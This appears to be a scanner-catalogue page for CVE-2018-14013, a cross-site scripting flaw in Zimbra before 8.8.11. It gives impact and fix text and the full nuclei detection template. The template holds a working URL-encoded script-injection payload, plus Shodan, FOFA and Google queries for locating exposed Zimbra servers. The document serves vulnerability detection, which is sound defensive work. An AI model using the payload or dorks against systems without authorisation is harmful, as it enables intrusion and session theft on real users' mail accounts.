Synacor Zimbra Collaboration Suite Collaboration <8.8.11 - Cross-Site Scripting

mediumseverity

6.1CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 is vulnerable to cross-site scripting via the AJAX and html web clients.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a version of Synacor Zimbra Collaboration Suite Collaboration that is equal to or greater than 8.8.11 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action=&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscr…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-14013 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-14013

info:
  name: Synacor Zimbra Collaboration Suite Collaboration <8.8.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 is vulnerable to cross-site scripting via the AJAX and html web clients.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of Synacor Zimbra Collaboration Suite Collaboration that is equal to or greater than 8.8.11 to mitigate the vulnerability.
  reference:
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    - https://bugzilla.zimbra.com/show_bug.cgi?id=109018
    - https://bugzilla.zimbra.com/show_bug.cgi?id=109017
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14013
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-14013
    cwe-id: CWE-79
    epss-score: 0.07436
    epss-percentile: 0.94499
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: synacor
    product: zimbra_collaboration_suite
    shodan-query:
      - http.title:"zimbra collaboration suite"
      - http.title:"zimbra web client sign in"
    fofa-query:
      - title="zimbra web client sign in"
      - title="zimbra collaboration suite"
    google-query:
      - intitle:"zimbra collaboration suite"
      - intitle:"zimbra web client sign in"
  tags: cve,cve2018,xss,zimbra,synacor,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action=&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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